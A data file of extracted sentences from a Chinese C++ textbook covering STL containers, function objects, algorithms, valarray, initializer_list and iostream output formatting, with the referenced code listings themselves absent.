    {"text": "以前的11个容器类型分别是deque、list、queue、priority_queue、stack、vector、map、multimap、set、multiset和bitset（本章不讨论bitset，它是在比特级处理数据的容器）；"},
    {"text": "C++11新增了forward_list、unordered_map、unordered_multimap、unordered_set和unordered_multiset，且不将bitset视为容器，而将其视为一种独立的类别。"},
    {"text": "存储在容器中的数据为容器所有，这意味着当容器过期时，存储在容器中的数据也将过期（然而，如果数据是指针的话，则它指向的数据并不一定过期）。"},
    {"text": "表16.5 一些基本的容器特征 表 达 式 返 回 类 型 说 明 复 杂 度 X :: iterator 指向T的迭代器类型 满足正向迭代器要求的任何迭代器 编译时间 X :: value_type T T的类型 编译时间 X u; 创建一个名为u的空容器 固定 X( ); 创建一个匿名的空容器 固定 X u(a); 调用复制构造函数后u == a 线性 X u = a; 作用同X u(a); 线性 r = a; X& 调用赋值运算符后r == a 线性 (&a)->~X( ) void 对容器中每个元素应用析构函数 线性 a.begin( ) 迭代器 返回指向容器第一个元素的迭代器 固定 a.end( ) 迭代器 返回超尾值迭代器 固定 a.size( ) 无符号整型 返回元素个数，等价于a.end( )– a.begin( ) 固定 a.swap(b) void 交换a和b的内容 固定 a = = b 可转换为bool 如果a和b的长度相同，且a中每个元素都等于（= =为真）b中相应的元素，则为真 线性 a != b 可转换为bool 返回!(a= =b) 线性 表16.5中的“复杂度”一列描述了执行操作所需的时间。"},
    {"text": "如果超人从一端打开的盒子中取出包裹的速度比普通人快100倍，则他完成任务时，复杂度仍然是线性时间的。 在这种情况下，他取出封闭盒子中包裹（一端打开，复杂度为线性时间）的速度将比普通人取出开放盒子中包裹（复杂度为固定时间）要快，条件是盒子里没有太多的包裹。"},
    {"text": "表16.6 C++11新增的基本容器要求 表 达 式 返 回 类 型 说 明 复 杂 度 X u(rv); 调用移动构造函数后，u的值与rv的原始值相同 线性 X u = rv; 作用同X u(rv); a = rv; X& 调用移动赋值运算符后，u的值与rv的原始值相同 线性 a.cbegin( ) const_iterator 返回指向容器第一个元素的const迭代器 固定 a.cend( ) const_iterator 返回超尾值const迭代器 固定 复制构造和复制赋值以及移动构造和移动赋值之间的差别在于，复制操作保留源对象，而移动操作可修改源对象，还可能转让所有权，而不做任何复制。"},
    {"text": "序列（sequence）是一种重要的改进，因为7种STL容器类型（deque、C++11新增的forward_list、list、queue、priority_queue、stack和vector）都是序列（本书前面说过，队列让您能够在队尾添加元素，在队首删除元素。"},
    {"text": "序列还要求其元素按严格的线性顺序排列，即存在第一个元素、最后一个元素，除第一个元素和最后一个元素外，每个元素前后都分别有一个元素。"},
    {"text": "表16.7 序列的要求 表 达 式 返 回 类 型 说 明 X a(n, t); 声明一个名为a的由n个t值组成的序列 X(n, t) 创建一个由n个t值组成的匿名序列 X a(i, j) 声明一个名为a的序列，并将其初始化为区间[i，j)的内容 X(i, j) 创建一个匿名序列，并将其初始化为区间[i，j)的内容 a. insert(p, t) 迭代器 将t插入到p的前面 a.insert(p, n, t) void 将n个t插入到p的前面 a.insert(p, i, j) void 将区间[i，j)中的元素插入到p的前面 a.erase(p) 迭代器 删除p指向的元素 a.erase(p, q) 迭代器 删除区间[p，q)中的元素 a.clear( ) void 等价于erase(begin( ), end( )) 因为模板类deque、list、queue、priority_queue、stack和vector都是序列概念的模型，所以它们都支持表16.7所示的运算符。"},
    {"text": "表16.8 序列的可选要求 表 达 式 返 回 类 型 含 义 容 器 a.front( ) T& *a.begin( ) vector、list、deque a.back( ) T& *- -a.end( ) vector、list、deque a.push_front(t) void a.insert(a.begin( ), t) list、deque a.push_back(t) void a.insert(a.end( ), t) vector、list、deque a.pop_front(t) void a.erase(a.begin( )) list、deque a.pop_back(t) void a.erase(- -a.end( )) vector、list、deque a[n] T& *(a.begin( )+ n) vector、deque a.at(t) T& *(a.begin( )+ n) vector、deque 表16.8有些需要说明的地方。"},
    {"text": "因此，如果dice是一个vector<int>容器，而Show(int)是显示一个整数的函数，则下面的代码将首先正向显示dice的内容，然后反向显示： 这两种方法返回的迭代器都是类级类型reverse_iterator。"},
    {"text": "list和vector之间关键的区别在于，list在链表中任一位置进行插入和删除的时间都是固定的（vector模板提供了除结尾处外的线性时间的插入和删除，在结尾处，它提供了固定时间的插入和删除）。 因此，vector强调的是通过随机访问进行快速访问，而list强调的是元素的快速插入和删除。"},
    {"text": "这个函数的复杂度为线性时间 void remove(const T & val) 从链表中删除val的所有实例。 这个函数的复杂度为线性时间 void sort( ) 使用<运算符对链表进行排序； N个元素的复杂度为NlogN void splice(iterator pos, list<T, Alloc>x) 将链表x的内容插入到pos的前面，x将为空。 这个函数的的复杂度为固定时间 void unique( ) 将连续的相同元素压缩为单个元素。 这个函数的复杂度为线性时间 程序清单16.12演示了这些方法和insert( )方法（所有模拟序列的STL类都有这种方法）的用法。"},
    {"text": "程序清单16.12 list.cpp 下面是程序清单16.12中程序的输出： （4）程序说明 程序清单16.12中程序使用了for_each()算法和outint( )函数来显示列表。"},
    {"text": "在C++11中，也可使用基于范围的for循环： insert( )和splice( )之间的主要区别在于：insert( )将原始区间的副本插入到目标地址，而splice( )则将原始区间移到目标地址。"},
    {"text": "否则返回false size_type size( )const 返回队列中元素的数目 T& front( ) 返回指向队首元素的引用 T& back( ) 返回指向队尾元素的引用 void push(const T& x) 在队尾插入x void pop( ) 删除队首元素 注意，pop( )是一个删除数据的方法，而不是检索数据的方法。 如果要使用队列中的值，应首先使用front( )来检索这个值，然后使用pop( )将它从队列中删除。"},
    {"text": "可以修改用于确定哪个元素放到队首的比较方式，方法是提供一个可选的构造函数参数： greater< >( )函数是一个预定义的函数对象，本章稍后将讨论它。"},
    {"text": "（9）stack 与queue相似，stack（在头文件stack——以前为stack.h——中声明）也是一个适配器类，它给底层类（默认情况下为vector）提供了典型的栈接口。"},
    {"text": "否则返回false size_type size( )const 返回栈中的元素数目 T& top( ) 返回指向栈顶元素的引用 void push(const T& x) 在栈顶部插入x void pop( ) 删除栈顶元素 与queue相似，如果要使用栈中的值，必须首先使用top( )来检索这个值，然后使用pop( )将它从栈中删除。"},
    {"text": "1．set示例 STL set模拟了多个概念，它是关联集合，可反转，可排序，且键是唯一的，所以不能存储多个相同的值。 与vector和list相似，set也使用模板参数来指定要存储的值类型： 第二个模板参数是可选的，可用于指示用来对键进行排序的比较函数或对象。"},
    {"text": "老式C++实现可能没有提供默认值，因此必须显式指定模板参数： 请看下面的代码： 与其他容器相似，set也有一个将迭代器区间作为参数的构造函数（参见表16.6）。"},
    {"text": "上述代码片段的输出表明，键是唯一的（字符串“for”在数组中出现了2次，但在集合中只出现1次），且集合被排序： 数学为集合定义了一些标准操作，例如，并集包含两个集合合并后的内容。 如果两个集合包含相同的值，则这个值将在并集中只出现一次，这是因为键是唯一的。"},
    {"text": "前两个迭代器定义了第一个集合的区间，接下来的两个定义了第二个集合区间，最后一个迭代器是输出迭代器，指出将结果集合复制到什么位置。"},
    {"text": "前面说过，其构造函数将容器名称和迭代器作为参数： 函数set_intersection( )和set_difference( )分别查找交集和获得两个集合的差，它们的接口与set_union( )相同。"},
    {"text": "方法lower_bound( )将键作为参数并返回一个迭代器，该迭代器指向集合中第一个不小于键参数的成员。 同样，方法upper_bound( )将键作为参数，并返回一个迭代器，该迭代器指向集合中第一个大于键参数的成员。"},
    {"text": "程序清单16.13 setops.cpp 下面是程序清单16.13中程序的输出： 和本章中大多数示例一样，程序清单16.13在处理名称空间std时采取了偷懒的方式： 这样做旨在简化表示方式。"},
    {"text": "这些示例使用了名称空间std中非常多的元素，如果使用using声明或作用域运算符，代码将变得混乱： 2．multimap示例 与set相似，multimap也是可反转的、经过排序的关联容器，但键和值的类型不同，且同一个键可能与多个值相关联。"},
    {"text": "基本的multimap声明使用模板参数指定键的类型和存储的值类型。 例如，下面的声明创建一个multimap对象，其中键类型为int，存储的值类型为string： 第3个模板参数是可选的，指出用于对键进行排序的比较函数或对象。"},
    {"text": "如果keytype是键类型，而datatype是存储的数据类型，则值类型为pair<const keytype, datatype>。 例如，前面声明的codes对象的值类型为pair<const int, string>。 例如，假设要用区号作为键来存储城市名（这恰好与codes声明一致，它将键类型声明为int，数据类型声明为string），则一种方法是创建一个pair，再将它插入： 也可使用一条语句创建匿名pair对象并将它插入： 因为数据项是按键排序的，所以不需要指出插入位置。"},
    {"text": "成员函数count( )接受键作为参数，并返回具有该键的元素数目。 成员函数lower_bound( )和upper_bound( )将键作为参数，且工作原理与处理set时相同。 成员函数equal_range( )用键作为参数，且返回两个迭代器，它们表示的区间与该键匹配。"},
    {"text": "例如，下面的代码打印codes对象中区号为718的所有城市： 在声明中可使用C++11自动类型推断功能，这样代码将简化为如下所示： 程序清单16.14演示了上述大部分技术，它也使用typedef来简化代码： 程序清单16.14 multimap.cpp 下面是程序清单16.14中程序的输出： 16.4.5 无序关联容器（C++11） 无序关联容器是对容器概念的另一种改进。"},
    {"text": "但底层的差别在于，关联容器是基于树结构的，而无序关联容器是基于数据结构哈希表的，这旨在提高添加和删除元素的速度以及提高查找算法的效率。"},
    {"text": "例如，可以像这样定义一个类： 这样，重载的( )运算符将使得能够像函数那样使用Linear对象： 其中y1将使用表达式0 + 1 * 12.5来计算，y2将使用表达式10.0 + 2.5 * 0.4来计算。"},
    {"text": "for_each的原型看上去就像这样： ShowReview( )的原型如下： 这样，标识符ShowReview的类型将为void(*)(const Review &)，这也是赋给模板参数Function的类型。"},
    {"text": "当然，这些概念都有相应的改进版： 返回bool值的一元函数是谓词（predicate）； 返回bool值的二元函数是二元谓词（binary predicate）。 一些STL函数需要谓词参数或二元谓词参数。"},
    {"text": "例如，程序清单16.9使用了sort( )的这样一个版本，即将二元谓词作为其第3个参数： list模板有一个将谓词作为参数的remove_if( )成员，该函数将谓词应用于区间中的每个元素，如果谓词返回true，则删除这些元素。"},
    {"text": "如果能将取舍值作为第二个参数传递给tooBig( )，则可以使用不同的值调用该函数，但谓词只能有一个参数。 然而，如果设计一个TooBig类，则可以使用类成员而不是函数参数来传递额外的信息： 这里，一个值（V）作为函数参数传递，而第二个参数（cutoff）是由类构造函数设置的。 有了该定义后，就可以将不同的TooBig对象初始化为不同的取舍值，供调用remove_if( )时使用。"},
    {"text": "程序清单16.15 functor.cpp 一个函数符（f100）是一个声明的对象，而另一个函数符（TooBig<int>(200)）是一个匿名对象，它是由构造函数调用创建的。"},
    {"text": "下面是程序清单16.15中程序的输出： 假设已经有了一个接受两个参数的模板函数： 则可以使用类将它转换为单个参数的函数对象： 即可以这样做： 因此，调用tB100(x)相当于调用tooBig(x, 100)，但两个参数的函数被转换为单参数的函数对象，其中第二个参数被用于构建函数对象。"},
    {"text": "为此，可将如下代码： 替换为下述代码： 16.5.2 预定义的函数符 STL定义了多个基本函数符，它们执行诸如将两个值相加、比较两个值是否相等操作。"},
    {"text": "第一个版本接受4个参数，前两个参数是指定容器区间的迭代器（现在您应该已熟悉了这种方法），第3个参数是指定将结果复制到哪里的迭代器，最后一个参数是一个函数符，它被应用于区间中的每个元素，生成结果中的新元素。"},
    {"text": "例如，如果m8是另一个vector<double>对象，mean（double，double）返回两个值的平均值，则下面的的代码将输出来自gr8和m8的值的平均值： 现在假设要将两个数组相加。"},
    {"text": "可以用plus< >类来完成常规的相加运算： 它使得将函数对象作为参数很方便： 这里，代码没有创建命名的对象，而是用plus<double>构造函数构造了一个函数符，以完成相加运算（括号表示调用默认的构造函数，传递给transform( )的是构造出来的函数对象）。"},
    {"text": "表16.12 运算符和相应的函数符 运 算 符 相应的函数符 + plus - minus * multiplies / divides % modulus - negate = = equal_to ! = not_equal_to > greater < less >= greater_equal <= less_equal && logical_and ‖ logical_or ! logical_not 警告： 老式C++实现使用函数符名times，而不是multiplies。"},
    {"text": "实际上STL有5个相关的概念：自适应生成器（adaptable generator）、自适应一元函数（adaptable unary function）、自适应二元函数（adaptable binary function）、自适应谓词（adaptable predicate）和自适应二元谓词（adaptable binary predicate）。"},
    {"text": "函数符自适应性的意义在于：函数适配器对象可以使用函数对象，并认为存在这些typedef成员。 例如，接受一个自适应函数符参数的函数可以使用result_type成员来声明一个与函数的返回类型匹配的变量。"},
    {"text": "例如，假设要将矢量gr8的每个元素都增加2.5倍，则需要使用接受一个一元函数参数的transform( )版本，就像前面的例子那样： multiplies( )函数符可以执行乘法运行，但它是二元函数。"},
    {"text": "假设有一个自适应二元函数对象f2( )，则可以创建一个binder1st对象，该对象与一个将被用作f2( )的第一个参数的特定值（val）相关联： 这样，使用单个参数调用f1(x)时，返回的值与将val作为第一参数、将f1( )的参数作为第二参数调用f2( )返回的值相同。"},
    {"text": "然而，STL提供了函数bind1st( )，以简化binder1st类的使用。 可以问其提供用于构建binder1st对象的函数名称和值，它将返回一个这种类型的对象。"},
    {"text": "例如，要将二元函数multiplies( )转换为将参数乘以2.5的一元函数，则可以这样做： 因此，将gr8中的每个元素与2.5相乘，并显示结果的代码如下： binder2nd类与此类似，只是将常数赋给第二个参数，而不是第一个参数。"},
    {"text": "程序清单16.16 funadap.cpp 程序清单16.16中程序的输出如下： C++11提供了函数指针和函数符的替代品——lambda表达式，这将在第18章讨论。"},
    {"text": "16.6 算法 STL包含很多处理容器的非成员函数，前面已经介绍过其中的一些：sort( )、copy( )、find( )、random_shuffle( )、set_union( )、set_intersection( )、set_difference( )和transform( )。"},
    {"text": "因此，copy( )函数可用于将double值存储在数组中的容器、将string值存储在链表中的容器，也可用于将用户定义的对象存储在树结构中（如set所使用的）的容器。"},
    {"text": "可以用= =来比较不同类型的容器，如deque和vector。 之所以能够这样做，是因为容器重载的= =运算符使用迭代器来比较内容，因此如果deque对象和vector对象的内容相同，并且排列顺序也相同，则它们是相等的。"},
    {"text": "前3组在头文件algorithm（以前为algo.h）中描述，第4组是专用于数值数据的，有自己的头文件，称为numeric（以前它们也位于algol.h中）。"},
    {"text": "因此上述声明告诉我们，区间参数必须是输入迭代器或更高级别的迭代器，而指示结果存储位置的迭代器必须是输出迭代器或更高级别的迭代器。"},
    {"text": "与copy( )相似，它使用输出迭代器指示结果的存储位置； 与copy( )不同的是，transform( )允许输出迭代器指向输入区间，因此它可以用计算结果覆盖原来的值。"},
    {"text": "程序清单16.17 strgst1.cpp 程序清单16.17中程序的运行情况如下： 注意，算法next_permutation( )自动提供唯一的排列组合，这就是输出中“awl”一词的排列组合比“all”（它有重复的字母）的排列组合要多的原因。"},
    {"text": "如果la是一个list<int>对象，则可以使用链表的remove( )方法： 调用该方法后，链表中所有值为4的元素都将被删除，同时链表的长度将被自动调整。"},
    {"text": "正如您看到的，可以将它们用于数组、string对象、STL容器，还可以用它们来处理混合的容器类型，例如，将矢量容器中的数据存储到链表或集合中。"},
    {"text": "可以按程序清单16.8和程序清单16.9那样创建一个vector<string>对象，并用push_back( )将输入的单词添加到矢量中： 如何得到按字母顺序排列的单词列表呢？"},
    {"text": "下面是函数ToLower( )的代码： 一个可能出现的问题是：tolower( )函数被定义为int tolower（int），而一些编译器希望函数与元素类型（即char）匹配。"},
    {"text": "因为wordset容器保存了wordmap使用的全部键，所以可以用下面的代码来存储结果，这是一种更具吸引力的方法： 因为si指向wordset容器中的一个字符串，所以*si是一个字符串，可以用作wordmap的键。"},
    {"text": "程序清单16.19把这些想法组合在一起，同时包含了用于显示3个容器（包含输入内容的矢量、包含单词列表的集合和包含单词计数的映象）内容的代码。"},
    {"text": "这个类模板被设计成用于表示数值数组，支持各种数值数组操作，例如将两个数组的内容相加、对数组的每个元素应用数学函数以及对数组进行线性代数运算。"},
    {"text": "Array表示长度固定的数组，因此不支持push_back( )和insert( )，但提供了多个STL方法，包括begin( )、end( )、rbegin( )和rend( )，这使得很容易将STL算法用于array对象。"},
    {"text": "要将两个数组中第一个元素的和赋给第三个数组的第一个元素，使用vector类时，可以这样做： 对于array类，也可以这样做： 然而，valarray类重载了所有算术运算符，使其能够用于valarray对象，因此您可以这样做： 同样，下面的语句将使vad3中每个元素都是vad1和vad2中相应元素的乘积： 要将数组中每个元素的值扩大2.5倍，STL方法如下： valarray类重载了将valarray对象乘以一个值的运算符，还重载了各种组合赋值运算符，因此可以采取下列两种方法之一： 假设您要计算数组中每个元素的自然对数，并将计算结果存储到另一个数组的相应元素中，STL方法如下： valarray类重载了这种数学函数，使之接受一个valarray参数，并返回一个valarray对象，因此您可以这样做： 也可以使用apply( )方法，该方法也适用于非重载函数： 方法apply( )不修改调用对象，而是返回一个包含结果的新对象。"},
    {"text": "valarray类还提供了方法sum( )（计算valarray对象中所有元素的和）、size( )（返回元素数）、max( )（返回最大的元素值）和min( )（返回最小的元素值）。"},
    {"text": "valarray类没有begin( )和end( )方法，因此不能将它们用作指定区间的参数： 另外，vad是一个对象，而不是指针，因此不能像处理常规数组那样，使用vad和vad + 10作为区间参数，即下面的代码不可行： 可以使用地址运算符： 但valarray没有定义下标超过尾部一个元素的行为。"},
    {"text": "它使用vector的push_back( )方法和自动调整大小的功能来收集数据，然后对数字进行排序后，将它们从vector对象复制到一个同样大小的valarray对象中，再执行一些数学运算。"},
    {"text": "例如，如果numbers是一个valarray<double>对象，则下面的语句将创建一个bool数组，其中vbool[i]被设置为numbers[i] > 9的值，即true或false： 还有扩展的下标指定版本，来看其中的一个——slice类。"},
    {"text": "如果varint是一个valarray<int>对象，则下面的语句将把第1、4、7、10个元素都设置为10： 这种特殊的下标指定功能让您能够使用一个一维valarray对象来表示二维数据。"},
    {"text": "例如，假设要表示一个4行3列的数组，可以将信息存储在一个包含12个元素的valarray对象中，然后使用一个slice(0, 3, 1)对象作为下标，来表示元素0、1和2，即第1行。"},
    {"text": "程序清单16.21 vslice.cpp 对于valarray对象（如valint）和单个int元素（如valint[1]），定义了运算符+； 但正如程序清单16.21指出的，对于使用slice下标指定的valarray单元，如valint[slice(1, 4, 3)，并没有定义运算符+。 因此程序使用slice指定的元素创建一个完整的valint对象，以便能够执行加法运算： valarray类提供了用于这种目的的构造函数。"},
    {"text": "例如，vector<double>包含一个将initializer_list<double>作为参数的构造函数，因此上述声明与下面的代码等价： 这里显式地将列表指定为构造函数参数。"},
    {"text": "通常，考虑到C++11新增的通用初始化语法，可使用表示法{}而不是()来调用类构造函数： 但如果类也有接受initializer_list作为参数的构造函数，这将带来问题： 这将调用哪个构造函数呢？ 答案是，如果类有接受initializer_list作为参数的构造函数，则使用语法{}将调用该构造函数。"},
    {"text": "所有initializer_list元素的类型都必须相同，但编译器将进行必要的转换： 在这里，由于vector的元素类型为double，因此列表的类型为initializer_list<double>，所以19和89被转换为double。"},
    {"text": "除非类要用于处理长度不同的列表，否则让它提供接受initializer_list作为参数的构造函数没有意义。 例如，对于存储固定数目值的类，您不想提供接受initializer_list作为参数的构造函数。"},
    {"text": "在下面的声明中，类包含三个数据成员，因此没有提供initializer_list作为参数的构造函数： 这样，使用语法{}时将调用构造函数Position(int, int, int)： 16.7.3 使用initializer_list 要在代码中使用initializer_list对象，必须包含头文件initializer_list。"},
    {"text": "这种对象本身很小，通常是两个指针（一个指向开头，一个指向末尾的下一个元素），也可能是一个指针和一个表示元素数的整数，因此采用的传递方式不会带来重大的性能影响。"},
    {"text": "initializer_list的迭代器类型为const，因此您不能修改initializer_list中的值： 但正如程序清单16.22演示的，可以将一个initializer_list赋给另一个initializer_list： 然而，提供initializer_list类的初衷旨在让您能够将一系列值传递给构造函数或其他函数。"},
    {"text": "例如，这些方法和函数让您能够合并字符串、将一个字符串插入到另一个字符串中、反转字符串、在字符串中搜索字符或子字符串以及执行输入和输出操作。"},
    {"text": "诸如vector和set等容器类是容器概念（如容器、序列和关联容器）的模型。 STL定义了多种容器类模板：vector、deque、list、set、multiset、map、multimap和bitset；"},
    {"text": "9．相对于数组，在链表中添加和删除元素更容易，但排序速度更慢。 这就引出了一种可能性：相对于使用链表算法进行排序，将链表复制到数组中，对数组进行排序，再将排序后的结果复制到链表中的速度可能更快；"},
    {"text": "a．创建大型vector<int>对象vi0，并使用rand( )给它提供初始值。 b．创建vector<int>对象vi和list<int>对象li，它们的长度都和初始值与vi0相同。"},
    {"text": "c．计算使用STL算法sort( )对vi进行排序所需的时间，再计算使用list的方法sort( )对li进行排序所需的时间。 d．将li重置为排序的vi0的内容，并计算执行如下操作所需的时间：将li的内容复制到vi中，对vi进行排序，并将结果复制到li中。"},
    {"text": "正如程序清单5.14演示的，可使用下面的语句来获取开始时间： 再在操作结束后使用下面的语句获取经过了多长时间： 这种测试并非绝对可靠，因为结果取决于很多因素，如可用内存量、是否支持多处理以及数组（列表）的长度（随着要排序的元素数增加，数组相对于列表的效率将更明显）。"},
    {"text": "c．在输入阶段结束后，使用一个循环让用户选择如下方式之一显示书籍：按原始顺序显示、按字母表顺序显示、按评级升序显示、按评级降序显示、按价格升序显示、按价格降序显示、退出。"},
    {"text": "为了帮助您起步，本书的开始几章介绍了使用istream类对象cin和ostream类对象cout进行输入和输出的基本方法，同时使用了ifstream和ofstream对象进行文件输入和输出。"},
    {"text": "本章将更详细地介绍C++的输入和输出类，看看它们是如何设计的，学习如何控制输出格式（如果您跳过很多章，直接学习高级格式，可浏览一下讨论该主题的一些小节，注意其中的技术，而忽略解释）。"},
    {"text": "用于文件输入和输出的C++工具都是基于cin和cout所基于的基本类定义，因此本章以对控制台I/O（键盘和屏幕）的讨论为跳板，来研究文件I/O。"},
    {"text": "例如，从诸如BASIC和Pascal等语言的关键字列表中可知，PRINT语句、Writeln语句以及其他类似的语句都是语言词汇表的组成部分，但C和C++都没有将输入和输出建立在语言中。"},
    {"text": "C++也认可这个软件包，因此如果熟悉stdio.h文件中声明的C函数系列，则可以在C++程序中使用它们（较新的实现使用头文件cstdio来支持这些函数）。"},
    {"text": "然而，C++依赖于C++的I/O解决方案，而不是C语言的I/O解决方案，前者是在头文件iostream（以前为iostream.h）和fstream（以前为fstream.h）中定义一组类。"},
    {"text": "输入流中的字节可能来自键盘，也可能来自存储设备（如硬盘）或其他程序。 同样，输出流中的字节可以流向屏幕、打印机、存储设备或其他程序。"},
    {"text": "程序也可能会在其他情况下刷新输入，例如输入即将到来时，这取决于实现。 也就是说，当程序到达输入语句时，它将刷新输出缓冲区中当前所有的输出。"},
    {"text": "17.1.2 流、缓冲区和iostream文件 管理流和缓冲区的工作有点复杂，但iostream（以前为iostream.h）文件中包含一些专门设计用来实现、管理流和缓冲区的类。"},
    {"text": "下面是其中的一些类（见图17.3）： 图17.3 一些I/O类 streambuf类为缓冲区提供了内存，并提供了用于填充缓冲区、访问缓冲区内容、刷新缓冲区和管理缓冲区内存的类方法；"},
    {"text": "ios_base类表示流的一般特征，如是否可读取、是二进制流还是文本流等； ios类基于ios_base，其中包括了一个指向streambuf对象的指针成员； ostream类是从ios类派生而来的，提供了输出方法； istream类也是从ios类派生而来的，提供了输入方法； iostream类是基于istream和ostream类的，因此继承了输入方法和输出方法。"},
    {"text": "标准委员会并没有开发两套（现在为4套）独立的类，而是开发了1套I/O类模板，其中包括basic_istream<charT，traits<charT>>和basic_ostream<charT，traits<charT>>。"},
    {"text": "当iostream文件为程序声明一个cout对象时，该对象将包含存储了与输出有关的信息的数据成员，如显示数据时使用的字段宽度、小数位数、显示整数时采用的计数方法以及描述用来处理输出流的缓冲区的streambuf对象的地址。"},
    {"text": "下面的语句通过指向的streambuf对象将字符串“Bjarna free”中的字符放到cout管理的缓冲区中： ostream类定义了上述语句中使用的operator<<( )函数，ostream类还支持cout数据成员以及其他大量的类方法（如本章稍后将讨论的那些方法）。"},
    {"text": "例如，假设有一个名为counter.exe的、可执行的Windows命令提示符C++程序，它能够计算输入中的字符数，并报告结果（在大多数Windows系统中，可以选择“开始”>“程序”，再单击“命令提示符”来打开命令提示符窗口）。"},
    {"text": "通过输入重定向（<）和输出重定向（>），可以使用上述程序计算文件oklahoma中的字符数，并将结果放到cow_cnt文件中： 命令行中的<oklahoma将标准输入与oklahoma文件关联起来，使cin从该文件（而不是键盘）读取输入。"},
    {"text": "DOS、Windows命令提示符模式、Linux和UNIX能自动识别这种重定向语法（除早期的DOS外，其他操作系统都允许在重定向运算符与文件名之间加上可选的空格）。"},
    {"text": "但对标准输出重定向并不会影响cerr或clog，因此，如果使用其中一个对象来打印错误消息，程序将在屏幕上显示错误消息，即使常规的cout输出被重定向到其他地方。"},
    {"text": "17.2 使用cout进行输出 正如前面指出的，C++将输出看作字节流（根据实现和平台的不同，可能是8位、16位或32位的字节，但都是字节），但在程序中，很多数据被组织成比字节更大的单位。"},
    {"text": "因此，ostream类最重要的任务之一是将数值类型（如int或float）转换为以文本形式表示的字符流。 也就是说，ostream类将数据内部表示（二进制位模式）转换为由字符字节组成的输出流（以后会有仿生移植物，使得能够直接翻译二进制数据。"},
    {"text": "17.2.1 重载的<<运算符 本书常结合使用cout和<<运算符（插入（insertion）运算符）： 在C++中，与C一样，<<运算符的默认含义是按位左移运算符（参见附录E）。"},
    {"text": "因此，如果使用下面这样一条语句，而value是前面列出的类型之一，则C++程序将其对应于有相应的特征标的运算符函数： 例如，表达式cout<<88对应于下面的方法原型： 该原型表明，operator<<( )函数接受一个int参数，这与上述语句中的88匹配。 该原型还表明，函数返回一个指向ostream对象的引用，这使得可以将输出连接起来，如下所示： 如果您是C语言程序员，深受%类型说明符过多、说明符类型与值不匹配时将发生问题等痛苦，则使用cout非常简单（当然，由于有cin，C++输入也非常简单）。"},
    {"text": "如果要获得字符串的地址，则必须将其强制转换为其他类型，如下面的代码片段所示： 2．拼接输出 插入运算符的所有化身的返回类型都是ostream &。"},
    {"text": "例如，请看下面的语句： 表达式cout << “We have”将显示字符串，并返回cout对象。 至此，上述语句将变为： 表达式cout<<count将显示count变量的值，并返回cout。"},
    {"text": "图17.4 拼接输出 17.2.2 其他ostream方法 除了各种operator<<( )函数外，ostream类还提供了put( )方法和write( )方法，前者用于显示字符，后者用于显示字符串。"},
    {"text": "可以用类方法表示法来调用它： 其中，cout是调用方法的对象，put( )是类成员函数。 和<<运算符函数一样，该函数也返回一个指向调用对象的引用，因此可以用它将拼接输出： 函数调用cout.put('I')返回cout，cout然后被用作put('t')调用的调用对象。"},
    {"text": "例如，可以这样做： 第一条语句将int值65转换为一个char值，然后显示ASCII码为65的字符。 同样，第二条语句将double值66.3转换为char值66，并显示对应的字符。"},
    {"text": "因此，下面的语句将'W'解释为一个int值，因此将其作为整数87（即该字符的ASCII值）显示出来： 然而，下面这条语句能够正常工作： 因为当前的C++将char常量表示为char类型，因此现在可以使用上述任何一种方法。"},
    {"text": "下面是程序清单17.1中程序的输出： 注意，cout.write( )调用返回cout对象。 这是因为write( )方法返回一个指向调用它的对象的引用，这里调用它的对象是cout。 这使得可以将输出拼接起来，因为cout.write( )将被其返回值cout替换： 还需要注意的是，write( )方法并不会在遇到空字符时自动停止打印字符，而只是打印指定数目的字符，即使超出了字符串的边界！"},
    {"text": "write( )方法也可用于数值数据，您可以将数字的地址强制转换为char *，然后传递给它： 这不会将数字转换为相应的字符，而是传输内存中存储的位表示。"},
    {"text": "也就是说，假设有下面的代码： 程序期待输入这一事实，将导致它立刻显示cout消息（即刷新“Enter a number：”消息），即使输出字符串中没有换行符。"},
    {"text": "例如，可以直接调用flush( )来刷新cout缓冲区： 然而，ostream类对<<插入运算符进行了重载，使得下述表达式将被替换为函数调用flush(cout)： 因此，可以用更为方便的插入表示法来成功地进行刷新。"},
    {"text": "由于ios_base类是ostream的间接基类，因此可以将其方法用于ostream对象（或子代），如cout。 注意： ios_base类中的成员和方法以前位于ios类中。 现在，ios_base是ios的基类。"},
    {"text": "例如，下面的函数调用将cout对象的计数系统格式状态设置为十六进制： 完成上述设置后，程序将以十六进制形式打印整数值，直到将格式状态设置为其他选项为止。"},
    {"text": "程序清单17.3 manip.cpp 下面程序清单17.3中程序的运行情况： 2．调整字段宽度 您可能已经注意到，在程序清单17.3的输出中各列并没有对齐，这是因为数字的字段宽度不相同。"},
    {"text": "C++永远不会截短数据，因此如果试图在宽度为2的字段中打印一个7位值，C++将增宽字段，以容纳该数据（在有些语言中，如果数据长度与字段宽度不匹配，将用星号填充字段。"},
    {"text": "程序清单17.4演示了width( )成员函数是如何工作的。 程序清单17.4 width.cpp 程序清单17.4中程序的输出如下： 在上述输出中，值在字段中右对齐。"},
    {"text": "表17.1 格式常量 常 量 含 义 ios_base ::boolalpha 输入和输出bool值，可以为true或false ios_base ::showbase 对于输出，使用C++基数前缀（0，0x） ios_base ::showpoint 显示末尾的小数点 ios_base ::uppercase 对于16进制输出，使用大写字母，E表示法 ios_base ::showpos 在正数前面加上+ 注意： bitmask类型是一种用来存储各个位值的类型。"},
    {"text": "例如，将第3位设置为1表示以10为基数，将第4位设置为1表示以8为基数，将第5位设置为1表示以16为基数。 假设输出是以10为基数的，而要将它设置为以16为基数，则不仅需要将第5位设置为1，还需要将第3位设置为0——这叫作清除位（clearing the bit）。"},
    {"text": "具体地说，要修改基数，可以将常量ios_base::basefield用作第二参数，将ios_base ::hex用作第一参数。 也就是说，下面的函数调用与使用十六进制控制符的作用相同： 表17.2 setf(long, long)的参数 第二个参数 第一个参数 含 义 ios_base ::basefield ios_base ::dec 使用基数10 ios_base ::oct 使用基数8 ios_base ::hex 使用基数16 ios_base ::floatfield ios_base ::fixed 使用定点计数法 ios_base ::scientific 使用科学计数法 ios_base ::adjustfield ios_base ::left 使用左对齐 ios_base ::right 使用右对齐 ios_base ::internal 符号或基数前缀左对齐，值右对齐 ios_base类定义了可按这种方式处理的3组格式标记。"},
    {"text": "左对齐意味着将值放在字段的左端，右对齐则表示将值放在字段的右端。 内部对齐表示将符号或基数前缀放在字段左侧，余下的数字放在字段的右侧（遗憾的是，C++没有提供自对齐模式）。"},
    {"text": "如果您熟悉C语言中printf( )的说明符，则可能知道，默认的C++模式对应于%g说明符，定点表示法对应于%f说明符，而科学表示法对应于%e说明符。"},
